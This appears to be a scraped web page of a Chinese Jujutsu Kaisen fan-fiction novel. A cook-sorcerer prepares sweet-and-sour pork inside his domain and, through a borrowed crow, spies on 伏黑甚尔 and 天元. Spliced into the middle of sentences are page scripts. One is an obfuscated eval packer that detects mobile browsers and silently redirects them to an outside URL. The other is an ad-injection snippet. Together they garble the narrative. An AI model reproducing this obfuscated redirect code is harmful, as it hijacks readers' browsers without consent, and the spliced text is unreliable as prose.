硝子牵了牵嘴角,垂下眼眸:“……也是。” 但这时,一只手突然出现在视野中,紧接着笼起的冰冷苍白手指中被塞入了一只瓷杯。 温暖飘着米香缓缓渗出,硝子愣了一下,抬头看见栗秋焰碧玉般柔和的绿眸。 他侧身,仿若无意般挡住了冥冥凝视的视线,笑道:“冥冥前辈,有什么喜欢的料理?” 栗秋焰并没有与硝子对视,只是在越过硝子时,在她肩上轻轻一拍。 他的指尖上残留着米酿温热的酒香。 “……真是的。” 硝子抬手一饮而尽,声音有点哑地笑骂道:“这么点度数的米酒,在看不起谁呢?” “别介意,冥冥前辈。”栗秋焰立刻把之前的仇当场报了,阴阳怪气道:“这家伙一向这样,私下里就是烟酒都来啊~” 冥冥笑而不言,只回答了栗秋焰的上一个问题:“喜欢的料理的话……肉骨茶吧。” 栗秋焰有些惊讶:“诶,竟然是马来菜?霓虹很少有人喜欢大马料理呢。” 肉骨茶,是马来西亚料理中极具代表性的一道。虽然叫做“茶”,但其实并没有茶叶,本质上是一种炖肉汤。 汤分两种,有改新后的潮州式,汤清、胡椒味重,像放了大量胡椒的排骨汤;也有遵循传统的福建式,取多种中药材与香料,并蒜头与黑酱油同煮,汤浓沉、肉味厚,入口咸甜且有药味,马来西亚流行的就是这一种。 东南亚菜系的菜式,很多都能看到种花东南片料理的底子,口味上的特色则主要体现在香料与调味上。 “是呢,马来西亚。我很喜欢那个地方呢。古旧的街道,上世纪遗留的建筑,特殊又自成一派的氛围……啊,对了,还有海。” 冥冥微微闭起眼,似乎想起了什么。 “那里咒灵很少,人也很有趣。有一种浓郁厚重的异国感……很容易令人产生逃脱般的心灵宁静吧?从这个乱七八糟的世界里。” 冥冥睁开眼,叹了口气。 “但总归是要出来的,毕竟账户上的钱可不会自己增长。”冥冥笑道:“怎么回事,明明是在别人的领域里,心情却奇怪地平静,不知不觉间就说了些难为情的话啊。” “这就是料理的魔法哦。”栗秋焰打了个响指,爽朗道:“我明白了,等着吧。” 说话间,他已开始利落地往外取食材,一样样东西流水般出现在桌上,冥冥探头望了一眼,有些惊讶。 “虽然我不擅料理。”她难得有些不确定道:“……但这并不是肉骨茶要用的吧?” 栗秋焰奇怪道:“谁说我要做肉骨茶了?” 冥冥:“……” 那她之前说那么多干嘛? 硝子发出了笑声。 “焰从来不让客人自己点菜,什么东西在他那里,都只是构成‘好吃’的其中一项审视标准,甚至包括客人自己的愿望。” “他只会端出一道他认为最适合的菜。虽然靠着天赋和观察力无往而不利……”硝子一边伸长了手去够栗秋焰身后的酒瓶,一边懒懒地开口,“但其实完全就是个暴君啊,这小子。” 栗秋焰正在削菠萝,听到这话,另一手仿佛后脑勺长了眼睛般伸出,啪一下拍掉了硝子的手。 “冷酒还喝,找不痛快?”他警告道:“再动,等我生日宴的时候,你和五条夏油一桌。” 硝子顿时收回手,老老实实坐着了。 栗秋焰入学那年就抱怨过,由于突然觉醒了术式,他原准备大展身手的生日宴也只能仓促而过,发誓一定要在第二年办一场更好的。 嗯……她不知道为什么88道菜的满汉全席会被称为“仓促”;更想象不出来,那种仿若历史物语中描述的光华盛筵,都被称为“仓促”的话,那栗秋焰真正大展身手的宴席到底会是什么样…… 她只知道,由于五条滴酒不能沾,那两人真的坐小孩那桌。 五色花酿、竹叶青、赤霞珠、大吟酿……统统没有!那桌上摆的是可乐! ……还是百事的! 咚一声,栗秋焰手起刀落,两刀将菠萝切成四份,然后将口感较差的白心去掉,只留下酸甜柔软、汁水充沛的果肉,切成均匀的小三角块放在一边。 接着他拿出一块去皮五花肉,表面打十字花刀帮助腌制时入味,接着分成长条后用刀背敲松肌理,这样会让肉吃起来更嫩,最后才顶刀切成小块。 冥冥一直仔细看着,直到在这步看到栗秋焰拿起生粉时,突然灵光一闪。 “你要做的是,古老肉?” 冥冥用有点生涩的口音,念出了这道料理的名字。 “……每次听到这种别称都怪奇妙的,但你猜的没错。”栗秋焰点了点头:“就是马来那边的古老肉,不过我们一般叫咕咾肉。” 冥冥的神情有些复杂:“……但是,菠萝?” “当然要加!”栗秋焰理所当然道:“用菠萝炒咕咾肉才是正道!” 冥冥倒吸了一口气,像意国人初次看见菠萝披萨般瞳孔微微紧缩。 要知道,由于栗秋焰领域的【束缚】,不管他端上了什么,食客都必须【吃完】才能离开。 假如端上来的是一道地狱般的料理,【吃完】这个条件将会对食客造成多大的精神伤害…… 栗秋焰哼着歌,用蛋黄抓拌了下后,拿过一旁菠萝的白心挤了一点汁水,最后才倒入生粉。 菠萝汁中含有菠萝蛋白酶,这种酶也是很多嫩肉粉的起效成分,可以迅速分解肉的肌肉结构,让肉质吃起来更加鲜嫩。 而到拍粉这一步,则直接决定了咕咾肉的整体口感。 栗秋焰抓粉加入,再手法熟练地轻轻抖散,保证每一块肉都挂粉均匀、薄厚适中,这样炸出来就能外壳酥脆而内里细嫩。 “放心好了,这可是我在做饭哎。”栗秋焰边调糖醋汁边奇怪道:“吃完这种条件还能叫条件?” 冥冥陷入了沉思。 虽然由于栗秋焰的厨艺水平,【吃完】这个条件,看起来只是众多规则中微不足道的一条。 但细思之下……其实连这一条都很可怕。因为是否是“纯粹的料理”这个判定条件,完全是由栗秋焰的主观判断决定的。 比如说,给一个花生过敏的人上花生羹;又比如说,做一道量巨大到十人份的料理;再比如说,栗秋焰突然性格大变,认为一些禁忌的食材也可以成为“料理”…… 那么坐在此的食客,也只能全部【吃完】。 冥冥脊背上突然窜出一股冷意。 这样奇异的能力,假如他走上邪道…… 刺啦! 冥冥惊醒,看着栗秋焰手上一动,香味混着油爆声炸起,接着就是酥脆的油炸声,绿眸专心致志地凝视着,看金黄的滚油中,裹粉腌好的肉块逐渐定型。 “五成热的油温,再关火,静炸。”他铁勺一捞,看着漂浮起来成□□人的炸肉块,满意道:“这个型定得太完美了,不愧是我。” 冥冥:…… 算了,她想这个干什么。 不如想想她身负的任务。当然,是除开家入硝子委托之外的,来自其他雇主的……另一个委托。 “栗秋焰。”冥冥突然开口:“你有尝试过,为普通人制作料理么?——我是指,在开启领域的状态下。” 栗秋焰正一手持锅,一手将红绿彩椒片入锅拉油断生,一听这话倒是愣了一下。 “嗯……还真没有。”他简单地推了几下油后抬起锅,心不在焉道:“我开领域也才这两天的事,想不到那块儿去吧。” 刺啦—— 栗秋焰举重若轻地单手抬锅,热油落下,冲过盛装着菠萝块的滤网后,落进碗中。 他没有单独去加热菠萝,毕竟单独焯水后菠萝果肉的口感就会发蔫,像这样冲油断生,既能去除酸涩,又能保留果肉酸甜脆爽的口感。 “试试吧。”冥冥似笑非笑,轻飘飘地砸下了一句轰然如炸弹引爆般的话,“毕竟,虽然你的父母不是术师……” “——但他们做出的料理,可有着令普通人不再产生咒灵的魔力啊。” 栗秋焰的瞳孔一缩,抬起的手顿时停住。 硝子呼吸骤然一停。 空气顿时寂静下来。只有热油滋滋作响的声音。 不知过了几秒,又或者只有一瞬。栗秋焰垂下眼睛,手指颤了下,酥肉顺着再度流出的热油一同落下,安静地与菠萝块一同待在滤网中。 栗秋焰没有说话,只深呼吸了一下,让有些颤抖的手指重新平静下来。 接着他将糖醋汁倒入锅中,加水淀粉勾芡,将锅中的芡汁完全打爆! 热油一点,饱满的鲜红顿时一亮,此时栗秋焰抄起滤网,材料全部入锅! 一声油响,他手腕发力,沉重的铁锅如指臂使,带动着锅中的食材上下抛动,大火上几下颠锅,所有的芡汁便已均匀地裹上每一粒酥肉块。 起锅,装盘。咕咾肉明亮的色彩配上鲜亮的菠萝,红绿彩椒点缀其间,混着酸甜的酥炸肉香,令人垂涎欲滴。 “完成。”栗秋焰声音很淡:“菠萝咕咾肉。” 冥冥凝视着那道毫无瑕疵、完美到不可思议的料理,声音几乎是惊讶赞叹的。 “……很了不得的心态。”她缓缓道:“我见过很多咒术师,术式决定了他们能杀几级咒灵、拿多少钱……心态,则决定了他们能不能活下来。” 冥冥抬头,与栗秋焰静若深潭的眼眸对视。 “而你,男孩。是我见过最独特的一个。”冥冥笑了一下:“接不接受投资?” 栗秋焰看着她,突然开口问了一个问题。 “限制是什么?”他说:“成功条件、人数、地点,还是时间——我的父母,他们料理的‘魔力’?” 冥冥的瞳孔微微放大。片刻后,她才缓缓开口。 “真是……令人惊讶。” “毕竟直到现在,霓虹还没有全民吃上我爸妈的预制菜;我也没有收到他们意外身亡的讣告,就只能说明一件事。”栗秋焰淡淡道:“——这一定,是有限制的。” 冥冥笑起来,欣赏地鼓了几下掌。 “即使在高层中,这也是极高的机密。原本我可以不说的,但对你,栗秋焰……你值得。” 冥冥周身的气氛放松下来,她拨了下头发,向栗秋焰眨了眨眼,玩笑般拿起筷子。 “不过,先让我吃点东西怎么样?说实话,你的厨艺实在太好了,闻着却不能吃,简直是酷刑啊——” 她一边说着一边伸出筷,向盘中夹去。 但在筷尖快碰上咕咾肉时,却被一只猛然出现的杯盏挡住了。 栗秋焰愣了下,顺着手臂看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539026|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 与之前十分相似,但这一次却换成是硝子并未与他对视。她抬起眼睛,直视着冥冥。 “前辈。”硝子淡淡道:“做交易前要先展现诚意,这是最基本的道理吧?” 冥冥怔了怔,随即哑然失笑。 “确实。这倒是我不讲规矩了。”冥冥说:“不过,我也只能将我知道的部分告诉你们。你们还记得,咒灵是如何形成的吗?” 栗秋焰皱起眉。 “咒灵衍生自咒力的积聚。而咒力,来自于……”他反应过来,“难道?” “对,是人类的负面情绪。普通人无法感知收纳咒力,所以负面情绪诞生的咒力就会逸散堆压,渐渐积聚成实体的咒灵。” “无数人思考过减少咒灵诞生的方法,最终都失败了。但栗秋焰,你的父母无意间……做到了。” “用料理。”栗秋焰说。 “用料理消除负面情绪?但那不是只有进食时的短短几个小时?”硝子提出了疑问。 冥冥夹起一粒咕咾肉,凝视着它汁明芡亮的漂亮覆面,接着她微微用力,从筷尖处传来脆炸外壳的酥响。 “是的,用料理。”冥冥回答道:“他们并没有‘消除’负面情绪,只是很神奇地……‘赋予’了正面情绪成为一种力量。” 硝子怔住了。“……类似于反转术式?” “有点像吧,但我毕竟只是区区一个有奇遇的一级术师,详细的我并不清楚。”冥冥眯了眯眼,“但那种力量会在逸散出人体前,就和咒力互相抵消。” “所以,真正的限制是……时间吧。”栗秋焰冷静道:“料理吃下去后,能够让人体生成那种力量的起效时间。” “没错,只有三个月。而且只对普通人起效,在咒术师体内反而不会生成那种力量。” 冥冥向他笑了一下,抱怨般开了句玩笑。“就像是残缺了产生正面力量的权力一样呢。难道我们咒术师,其实是被神明大人抛弃的群体?” 栗秋焰注视着她,眼神变了下,似乎要开口。 “玩笑啦玩笑啦。我只信钱,假如神给我钱的话,我再相信一下好了。”冥冥抬手阻止了他出口的话,说道:“总之我也受人之托,要引导你产生对普通人使用领域的想法。但虽然收了钱,其实我个人也很好奇……” 冥冥看向他。 “你父母不是术师都能产生那样的效果,而你是咒术师,又开了领域,不知道会发生什么呢?” 栗秋焰思索了一下。“我希望……世界和平。” 硝子刚意外地回头,就见他一脸深沉地补了一句。 “或者我登基称帝。”栗秋焰满脸肃然:“天要凉了,朕还缺一件明黄色的衣服……” 硝子发出一声大大的嘁声,冥冥则笑起来。 “男孩,你很有趣。”冥冥将咕咾肉送入口中,笑眯眯道:“说起来,我只知道你领域的效果,你的术式到底是什么?” “是‘概念剥夺与赋予’。”栗秋焰立刻抢答,同时警惕地看了一眼硝子。 “鬼啦。”硝子趴在桌子上,并不给他面子,懒懒道:“是个中二得要死的幼稚鬼名字。叫——” “你不许说!!!”栗秋焰炸毛了。 “——【神之手】。” 硝子说完才假模假样地睁大眼睛,平板无波地捧读道:“啊怎么办——不小心说出来了啊,好愧疚——” 栗秋焰脸都红了,怒而起身,“你等着!我马上就过来——” 而冥冥完全没听到两人的对话,在她将那块咕咾肉放入嘴中后,心思神念就已经完全被料理吸引了。 虽然一开始她对菠萝心存疑虑,但栗秋焰出品的菜肴卖相实在太漂亮,让她还是忍不住想尝试。 而只这第一口,她就知道,这个决定真是太正确了。 脆爽的外壳咬下里面是鲜烫的嫩肉,酸甜的口味清爽可口,越嚼越香,浓郁的肉香混着菠萝的果香,香与味都被牢牢锁在内里,在牙齿咬破外壳的那一刻,瞬间爆发开来。 这未免也……太美味了…… 冥冥仔细地咀嚼着,甚至没注意到栗秋焰余光中捕捉到了什么后,猛地回过头来的动作。 一、二、三…… 【肉】【中华】【文化底蕴】…… 标签的光芒一个接一个亮起,停滞,紧接着猛地汇聚成一股力量,从冥冥体内冲出,汇入栗秋焰的领域中。 骤然咒力被抽走的冥冥:“??!” 冥冥的术式可以操纵乌鸦,与它们共享视野。但这一瞬间,她感觉到所有与自己相连的乌鸦们,在一瞬间全部失去了联系。 “这是怎么……” 冥冥站起身,却骤然失声。因为她感觉到,涌向栗秋焰领域的咒力……又额外分出了两股,化作了两只无形的乌鸦。 那一瞬间的失控后,她仍然能感应到之前的乌鸦了。但这两只新生的乌鸦,她却没有丝毫感应,这两只的主人——不是她! 两只乌鸦升上天空离开领域,转眼间便冲向两个方向,消失在了天边。 冥冥扭头,瞬间锁定了瞳孔失焦的栗秋焰。 “……真是……可怕。”冥冥深深地注视着他:“但这样的人,却已经半脱离了咒术界。很难想象……要是那群人知道,会气成什么样。” 栗秋焰当然没有听到这话。 无数画面涌入眼中,像是无数台电视机同时开始放映,幸亏好用的脑子让他反应了过来,迅速掌控了主导权,只将主视野与随意一只乌鸦进行了共享,这才重新稳定了下来。 眼前的画面清晰起来,乌鸦飞行着,落在了树枝上,正对着一户人家的窗户。 栗秋焰刚想切断联系,就发现—— 等等,这树、这街道、这房子……这不是我家吗?! 栗秋焰正震惊着,就透过乌鸦的眼睛,看到了窗内的场景。 一个男人单手拎着不断扑腾、试图阻止的惠惠,另一手拿着盘子张嘴,用一种十分粗犷随意的吃相,往嘴里倒盘中的猫耳朵。 栗秋焰:…… 他才刚离家几个小时! 健全男高栗秋焰不敢置信!大哥哥栗秋焰出离愤怒! 不是,一醒就抢小孩吃的?还是自己亲儿子? 良心呢?!这还是人吗?!! 16.给我干哪儿来了这还是高专吗 乌鸦停落在枝头,黑溜溜的眼瞳映出窗中的场景,因主人骤然起伏的心情,它仿佛受惊般扑扇开翅膀大叫起来,将枝桠踩得摇颤作响。 伏黑甚尔抬头,刚刚慵懒的神情瞬间一扫而空,刀片般的目光从斜瞥的眼角中刺过来,直直地扎中了窗外的乌鸦。 栗秋焰丝毫不避,透过乌鸦的瞳眸与甚尔对视。 甚尔眯起眼。 片刻后,乌鸦抬起半边翅膀,瞪着眼像是要随时上去扇他一耳光,大声:“嘎嘎嘎嘎嘎嘎——!” 甚尔:“……”虽然听不懂说的啥,但能听出来骂得很脏。 他一手拎着伏黑惠,小孩仍在用尽全力阻拦,但短胳膊短腿地悬在空中,拳打脚踢都碰不到甚尔,最后只能急道:“你放下!那是我要留给栗秋哥哥的!” 伏黑甚尔从鼻子里哼了一声,一仰脖将猫耳朵全倒进嘴里,嗡声嗡气地唔了一声。 接着他左手拇指与食指一错,竟是单用手指的力量从盘沿上掰碎了一块,接着他眼皮一掀,一道雪白的裂风瞬间击碎窗户,直冲面门而来! 栗秋焰下意识后仰,眼前一黑,如同被唰一下拽断了电源的电视机,所有画面顿时消失。 栗秋焰:“……” 盘子——!窗户——! 一种随意捡大型犬回家后,看到它拆家的愤怒与懊悔感油然而生。 你等着!我现在就回家!等我到家指定没你好果汁吃嗷! 栗秋焰正想切断咒术,眼前的画面就又亮了起来。 一张笔触艳丽又栩栩如生的笑脸,在昏暗中一闪而过。 栗秋焰一怔,感应着刚刚的那只乌鸦,重新加强了咒力的联系。 随着联系的紧密,那张柔软的笑脸又再次自昏暗中浮现,像是志怪小说中缠游至树上的美人蛇,听到草叶响动的夜游书生秉烛抬头,看见墙头上缓缓现出一张美艳的笑靥。 看材质与色彩……这似乎是一面巨幅壁画的一部分。 栗秋焰操纵着乌鸦向后,随着扑翅声响起视线拉远,他终于看清了这部分壁画的全貌。 因为用色太过大胆,又是黑暗中突兀出现,不免凸显出诡艳感来。但当栗秋焰拉远后,这张微笑的面孔似乎又宝相庄严起来——这竟然,是一张观音像。 这里的建筑呈方形围绕,类似于传统的土家方楼,宽长的走廊贯穿连接各处,墙体厚实封闭,光线十分昏暗,除了各处廊中幽幽燃着的红灯笼外,唯一只有顶上投下方形的天光。 而这副足有三层楼高的观音像,就这样被绘制在楼体内侧,顶天踩地,在摇红的烛光中,向乌鸦纯黑的眼瞳露出慈然的微笑。 栗秋焰心中升起一股古怪感。 他看过客家土楼的图片,客家人聚族而居,土楼内侧会鳞次栉比排列有房间,发挥其最基本的居住功能。但这里,长廊虽纵横连接各处,却没有一处有房间,只有空阔的墙壁上清晰的巨幅壁画。 ……这里不住人的话,又是拿来干什么的呢? 观赏吗? 有点像……像什么来着?那个词就在嘴边,却怎么都想不起来。 栗秋焰向下压去,透过乌鸦的眼瞳凝视着木质的走廊,似乎看见了一个人影走过吱呀作响的长廊,手指隔空细细抚过浮游的线条,身后是菩萨足有人高的慈目眉眼。 一阵夜风吹过,红灯笼摇晃起来,廊上的扶手处像是沁出了血,仔细一看,原来是盈着红光的小字。 “……此为三十三法相之一,延命观音。” 他凑近些看下去,光线却着实太暗,密密麻麻的小字只能勉强看清一句。 “千遍万遍解脱一切病苦……” 实在看不清,栗秋焰选择了放弃。乌鸦继续向后,悬飞在方楼的中心处,黑溜溜的鸟瞳转动,映出整栋方楼内的全貌。 那三层楼高的观音只是一部分。这栋方楼内部,竟然是一整面环绕的庞然壁画。 观音顶戴宝冠、左手扶腮;释迦牟尼一手指天、一手指地;地藏持杖托珠、立于莲上。而除了佛教外,竟还有别的宗教神明在其中,光栗秋焰认识的,就看见了老子倒骑青牛跃过紫霞祥云,天照命手托太阳照亮须佐斩蛇…… 栗秋焰隐约辨认出了敦煌与浮世绘的风格,也许画师还吸收了不少西方描形的技巧,须佐之男沾满了蛇血的脸庞痛苦与狂喜交织,呈现出一种极具冲击力的挣扎。 无数神明汇于此处,在宝光云气中或坐或立,乌鸦缓缓下降,停在了方形厅堂的正中央。 而在这压迫性的庞然震撼中,栗秋焰突然发现,这些神明佛陀的视线——在看着自己。 栗秋焰猛地一惊。 也是这时他才发现,这栋土楼实在是太过安静了。乌鸦扑翅的声音清晰可闻,除此之外,没有任何活物活动的迹象。 栗秋焰想起这里像什么了。 方方正正、阴暗死寂。这里就像——一□□棺。 嘎吱—— 一声腐朽般牙酸的声音自身后响起,栗秋焰立刻转身,全楼的灯笼一齐明灭摇晃,一扇漆黑的木门似乎是年久失修般,被冰冷的夜风吹得隙开了一条缝。 栗秋焰定了定神。 ……原来在这最中央的厅堂处,还是有一间房间的。 他再度抬头——这下清楚了,原来那些壁画上绘制的视线并不是看着他,而是朝向这中央唯一的房间。 ……这也太渗人了。 栗秋焰心里嘀咕着,但仗着现在是在操纵乌鸦不是亲身上阵,又好奇心作祟,而且古话说得好,来都来了—— 乌鸦蹑手蹑脚地展开翅膀,悄无声息地滑进了敞开的门缝中。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>一进门倒是陡然一亮,房间内亮着灯,光线十分充足,宛如白日。 栗秋焰第一眼就被房间中央处的桌子吸引了注意力。 桌上摆着一尊神像。看起来像神像,但栗秋焰不确定,因为一张厚重的幕布垂落,严严实实地遮挡住了这尊塑像的面容。 令人惊讶的是,原本应该是神之手的部位空空如也,这尊像竟然是残缺的。 一种说不清道不明的感觉在发酵。栗秋焰莫名有些被吸引,操纵着乌鸦慢慢地跳过去。 但当他要看清那幕布下的面容时,突然一声苍老的咳嗽从角落传来。 栗秋焰吓了一跳,乌鸦身上的毛都炸了起来。 他才发现,这个房间里——竟然有人! 但那个人似乎根本没有发现它。 ——那是一个老人。 佝偻着窝在房间的角落里,和服的宽袖滑下,暴露出干瘪弯曲的手指。 她太老了。皱巴干缩的皮贴着眼窝,嘴唇缩进去,凹陷的脸颊处印出缺牙软烂的牙龈。栗秋焰又凑近了好几步,才勉强分辨出这个人应该是女性。 栗秋焰甚至想起了希腊神话中,那位自称代神发言的女先知,西比尔。不知她在获得不死的赐福,却忘记索取永恒的青春,无穷无尽地衰老下去直至成为空壳的前夕,是否也是这副模样? 面前这个人,苍老得像是随时下一秒就会死去。但她身上却透露着一种……随和?麻木?淡然? 栗秋焰不知该怎么形容,但他从没见过哪一个寿命将至的老人会有这样的气质,仿佛自认只是被短暂囚困,只待时机便能重获新生。 她甚至将摊在膝上的书,又翻过了一页。 那书是线订本,年代已久的陈黄书页一动便发出脆响。不知上次翻开已是什么时候,一片干枯到透明的花瓣,从书脊的夹缝中飘落而下。 那似乎是极小瓣的莲花。 就在栗秋焰愣神间,老人慢慢开口,苍老的声音溢出,像是从躯壳最深处挤压出最后一点干涩的汁水,不过口齿却意外地十分清晰。 “一切……有为法,如梦幻泡影,如露……亦如电……” 她这么喃喃念着。 在这垂死般的声气中,那瓣不知穿越了多少个夏天的莲花,便从那本讲述着“凡所有相,皆为虚妄”的书中,缓缓地落到了地上。 屋内寂静了下来。 “我在等。”老人突然开口了:“但还……不到时候。” 栗秋焰一愣。 ——她在,和我说话? 这时,一只千纸鹤从窗外飞了进来,落在老人的面前。似乎是承载了某种咒术,纸做的式神发出了声音。 “天元大人。”它说:“关于星浆体……” 天元?! 这个老人,竟然是天元! 17.伦理梗扣钱! 栗秋焰心神一震。 “天元”这个名字,在咒术界可谓如雷贯耳。天元大人的结界术笼罩着日本全域,因为结界术的效果,她能知晓整个霓虹境内发生的所有事情,被一些人尊为神明般的全知之人。 既然是“全知”,那么当然…… ——天元知道我正看着她! 栗秋焰下意识切断连接,在视野变黑的前一秒,天元垂垂老矣的脸庞动了动,满是褶子的干瘪皮肤上,挤出了一抹莫名古怪的笑意。 “生、老、病、死……” 那几乎是从地底的坟墓中传出的干涩声音,却一个字一个字地越来越高,栗秋焰骇然中看到天元猛地抬头,直直地与他对视,深陷的浑浊眼睛回光返照般亮得惊人。 “爱别离、怨憎会,求……求不得……” 天元气若游丝地咳喘着,喃喃着。 “苦……着实太苦……” 哗啦一声佛经落地,天元伏倒在满地透明的枯干花瓣中,一只枯槁的手伸出,颤抖着指向栗秋焰的眼前。 场景黑了下来,心神回位,栗秋焰呼吸了一口气,紧闭的双眼缓缓睁开,眼前硝子脸庞的重影摇晃着,耳边似乎仍响着天元的声音,像是燃烧殆尽的薪柴迸发出最后一声炸响。 “给我——!” “怎么了?” 硝子探手过来,原本重影的眉眼清晰起来,看起来有些担忧。 她蹙眉按了按他的额头,又并指往他颈侧一贴。“……怎么回事,你心动过速。” 栗秋焰定了定神,摇头道:“没事。” 他微微垂眸,掩饰住眼中的沉思。 ‘给我……?’ 天元在咒术界的地位至高无上,坐拥一切顶尖资源,名利财富挥手即来。他身上能有什么东西,是这样的天元求之而不得的? 那诡异房屋中或喜或嗔的神明壁画,天元颤抖的手指,校长眼中一闪而过的贪婪……无数画面在栗秋焰脑中闪过,他啧了一声。 那个隐藏在咒术界中,要杀他的人,难道就是天元吗? 如果是的话,那可就真的是麻烦了。对手毕竟是“全知者”,虽然明面上不能正大光明地追杀,但私底下还不知会使出什么招数。 但一切都是基于猜测的不确定,再加上他父母能够使普通人消除咒力的“特殊”料理……现在的境况就更加扑朔迷离了,那对笨蛋夫妻知道自己被咒术界盯上了吗? 想当初他就是为了安全,才离开家进入了高专。没想到弯弯绕绕,最后殊途同归。 栗秋焰按了按太阳穴,本想联系家里问问情况,又怕打草惊蛇。眼下一切都是没影儿的事,只能走一步看一步。 所以……明天还是出门摆摊! 谁也不能阻止他的世界第一厨子梦想! 顺便看看,在普通人身上,他的领域会产生什么样的效果? “……家入小姐还真是偏心啊,应该是这边看起来更像病人吧?” 冥冥的声音从一旁幽幽传来。 她呼出一口气,脸色很差,出口倒还是玩笑的语气。“我的咒力可是被吸干了。……抢我的术式就算了,还抽我的咒力来发动,栗秋君,你也太霸道了。” “……领域的事,能叫霸道吗!”栗秋焰喊冤:“不要误伤无辜的厨子啊!” 冥冥摇摇头,笑了一声。 “你还是不明白,这领域的强度意味着什么……”她笑吟吟道:“听说,是现任校长让你退学的?” “是的。”栗秋焰移开视线,“因为我弄丢了特级咒物,两面宿傩的手指。” 硝子皱了下眉:“宿傩手指?那东西会吸引咒灵……幸亏你命大。怎么丢的,扔了?” “随便扔掉会祸害到路人吧。” “那它怎么消失的,飞了?” “这你问我我也说不出来啊……”栗秋焰转了转眼珠,玩笑道:“我说吃了,你信吗?” 硝子:“……那东西是人能咽下去的?” “没准呢。就像人形咒灵没准也存在一样,我还答应夏油看到了就摇他过来开饭呢。”栗秋焰收拾着桌上,随口道:“说起来,给你做的草莓酱尝了吗?” “没。”硝子哼了一声,少女的眉眼柔和下来,难得有些抱怨般道:“五条那家伙吃光了。” “……那不合他的口味啊,会觉得酸的吧。”栗秋焰费解地皱了下眉,随即好笑地摇摇头:“哪来的这胃口……改天我熬两锅不同甜度的寄过来,你让他炫那个加糖的。还偷吃你就给他饭里下苦瓜。” “……” 家入硝子没有接话,只闷声低头转着摩挲手心的酒盏,过了一会儿,才说了一句。 “……我想吃现做的。” “嗯?”栗秋焰愣了一下,“这大夏天的,而且草莓酱本来就要放凉吃……” “你是笨蛋吗。”硝子毫不客气打断道。 她抬起脸,泪痣在暖黄色的灯光中,仿佛与眸中闪烁的情绪一样生动起来。 “我是说,你回——” 硝子看着眼前的这双绿眸,发出的声音戛然而止。 过了一会儿,她扭过了头。 对于总和人隔着一层距离感的家入硝子来说,这样近乎外露的情绪已经是冲动之下,她所能表达的极限了。 “……算了,只是开个开玩笑。” 她呼出一口气,掩饰性地将杯盏凑近唇边,看到里面是空的,又尴尬地放下了,手指攥了攥。 “都是那两个人闹了一天,五条那家伙还嚷嚷着什么,根本吃不下那些垃圾,要去把你绑回来。”硝子挥了下手,笑道:“这才一天,也太夸张了……啊啊,我也真是喝醉了啊。” 栗秋焰沉默了一下。 他没有揭穿为何千杯不醉的酒豪,竟会拜倒在这一杯于她而言,与小甜水无异的米酒下……栗秋焰只是抚过灶沿,接着手指在酒瓶上轻轻一敲。 温热的米香缱绻地升起,在如水的夜中弯出细腻柔和的甜味。 “水无定,花有尽,但它们……终会相逢。” 栗秋焰倾斜瓶口,汩汩的酒液随着他温和的声音流下,汇聚在硝子手心的杯盏中。 “你有你要走的路,硝子,我也有。” 大家都有自己要走的路,每个人都在自己的生命里艰难前行。所以栗秋焰时常感叹……只是活着,就是一件很伟大的事情。 硝子抿了一口酒,泄气般吐出了一口气。 “……又被你安慰了,真不甘心啊。”她嘟囔道:“喂,你都不会不舍得的么?” 栗秋焰笑了笑。 做饭、吃饭、喝酒,相遇、谈笑、离别……每一件都是真切活在这世上才能做的。这是一种权力,也是一种印证……就像战斗胜利后总有盛宴。而他不仅是食客,更是巧妙的厨师,所以连大家难以下咽的酸涩也能一齐烹饪,微笑着咽进肚中。 离开家是这样,离开高专也是这样。他没有回答硝子的话,只是再度倾瓶,酒液如月般升起,将将盈了八分满。 “凡事如月,过满则溢。”栗秋焰笑道:“还是长长久久的好。不过当然——” “感觉累了的话,可以来我家吃顿饭。”他眨眨眼:“地址等会发你,不过别跟那俩人说。”要是真被五条绑了,家里俩小孩儿饿死了怎么办! 夏油杰看起来正经,但以栗秋焰对他的理解,五条如果真搞出个绑架行动,这人能做出的最大犹豫,顶多是问他喜欢什么颜色的麻袋。 家入硝子笑出了声,摆了下手:“行了,你自己留着吧。” 说话间,冥冥喉咙动了动,咽下了最后一口。在一干二净的空盘上方,她双手合十闭了下眼,表情意外地认真。 “我吃完了,感谢招待。” “好郑重啊。”栗秋焰拿过盘子:“我还以为冥冥前辈是不在乎这种霓虹式礼节的作风呢。” “没说错。但吃到这样的料理,总得心怀感恩。”冥冥看向他:“栗秋君,你真的不打算回高专吗?现在主动权可完全在你手上,趁这个机会回来,高层估计能把你供起来。” “才不呢!”栗秋焰神色凛然:“我可是要成为世界第一大厨的男人!” 硝子:“……厨子是这样的。脑袋没救了这个人。” “嘛,按照我对总监部作风的了解,他们估计还会搞先硬后软那一套。先来硬的,找点麻烦威胁你听话,不奏效就来软的。” 冥冥站起身,栗秋焰结束了领域,她提起斧头,转了几圈后扛在肩上。 “不过今天看来,总监部能找的麻烦,进了你的领域就是送菜。”冥冥笑眯眯道:“加油哦,栗秋君。我也想看校长剥光衣服趴在门前,负荆请罪求你回来的滑稽场景呢。” 栗秋焰露出了嫌弃的表情。“听起来好恶心。像是没焯水没放料直接生水煮的猪肉一样恶心。” 都收拾完,栗秋焰看了眼时间。 “我先走了,急着回去打坏果汁喂搞破坏的大型犬。”他一挥手:“拜拜!硝子,低头——” 家入硝子愣了下,低头一看。发现不知何时,地面上多出了一只酒瓶。 酒液温热,透过细腻的瓷质渗入手中,晃一晃,正正好八分满。 家入硝子失笑,等她抬起头时,栗秋焰已经不见踪影了。 “你们关系真好呢。”冥冥说。 硝子没有再矢口否认,而是将瓷瓶小心放好,叹气道:“……也许吧。” “家入小姐,你有没有想过一件事。”冥冥说:“明明你也进入了领域,却从头到尾没有产生饥饿感呢?” 硝子愣了一下,这才反应过来,指腹在 